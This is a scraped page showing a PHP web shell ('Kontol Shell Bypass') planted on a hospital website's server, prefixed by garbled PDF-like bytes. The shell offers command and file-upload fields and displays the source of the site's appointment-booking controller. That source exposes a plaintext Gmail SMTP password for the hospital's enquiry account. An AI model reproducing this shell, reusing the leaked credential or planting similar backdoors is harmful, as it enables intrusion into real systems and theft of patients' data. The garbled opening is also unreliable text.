%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/application/controllers/Appointment_22062023.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Appointment extends CI_Controller {

	
	function __construct() {
        parent::__construct();
		$this->load->model('Common_Model');
    }
    
	public function index()
	{
	    $data = array();
		$head = array();

        $seoArray = getdynamicseo($this->uri->segment(1));
        $head['page_title'] = $seoArray->SEOTitle!='' ? $seoArray->SEOTitle : 'Book An Appointment | Sharda Hospital';
	    $head['page_description'] = $seoArray->SEODescription!='' ? $seoArray->SEODescription : 'Book An Appointment | Sharda Hospital';
	    $head['page_keyword'] = $seoArray->SEOKeywords!='' ? $seoArray->SEOKeywords : 'Book An Appointment | Sharda Hospital';
	    $this->load->view('_parts/header',$head);
        $this->load->view('appoint',$data);
		$this->load->view('_parts/footer');

    }
	public function booked(){
		$this->load->library('form_validation');
		$this->form_validation->set_rules('name', 'Name', 'required|trim');
		$this->form_validation->set_rules('email', 'Email', 'trim|required|valid_email');
		$this->form_validation->set_rules('phone', 'phone', 'trim|required|numeric|min_length[10]');
		if($this->form_validation->run()==true){
			$formarray['type']=$this->input->post('radio');
			$formarray['name']=$this->input->post('name');
			$formarray['email']=$this->input->post('email');
			$formarray['phone']=$this->input->post('phone');
			$formarray['country']=$this->input->post('country');
            $formarray['status']='1';
            $formarray['created_at']=date('Y-m-d H:i:s');
			$inserted_data = $this->Common_Model->saveinfo('sh_appointment',$formarray);
			if($inserted_data>0){
				$this->sendMail('enquiry@shardahospital.org',$formarray);
				$data['submit_status_msg'] = '<span style="color:green;font-size:12px; margin-top:0px;">Your Appointment has been submitted successfully.</span>';
			}
		}
		else{
			$data['submit_status_msg'] = '<span style="color:green;font-size:12px; margin-top:0px;">Your Appointment not has been submitted successfully.</span>';
		}
		$this->load->view('_parts/header');
        $this->load->view('appoint',$data);
		$this->load->view('_parts/footer');
	}
	
	public function sendMail($email_id,$formarray){
        
        $subject =  'Appointment | Sharda Hospital';
        $template = $this->load->view('email_templates/appointment_request',$formarray,TRUE);
        $this->sendCommonEmail($email_id, $subject, $template);
    }
	
	 public function sendCommonEmail($email_id,$subject,$message){
        $CI =& get_instance();
        $CI->load->library('email');
        $mail=$CI->email;
        $mail->clear();
        //$to = $params['email'];
        $from_email = 'enquiry@shardahospital.org';
        $from_name = 'Appointment | Sharda Hospital';
        //$template = $this->load->view('email_temp/v_email',$params,TRUE);

        $config['charset'] = 'utf-8';
        $config['wordwrap'] = TRUE;
        $config['mailtype'] = 'html';
        $config['protocol']   = "smtp";
        $config['smtp_host']  = 'ssl://smtp.gmail.com';
        $config['smtp_user']  = 'enquiry@shardahospital.org';
        $config['smtp_pass']  = 'sharda#2023#&#hospital';
        $config['smtp_port']  = '465';
        $config['_auth_smtp'] = TRUE;
        $config['newline']    = "\r\n";
        $config['crlf']       = "\r\n";
        $mail->initialize($config);
        $mail->from($from_email, $from_name);
        $mail->to($email_id);
        $mail->cc('hospital.callcentre@sharda.ac.in');
        $mail->subject($subject);
        $mail->message($message);
        $mail->send();
    }
}

Kontol Shell Bypass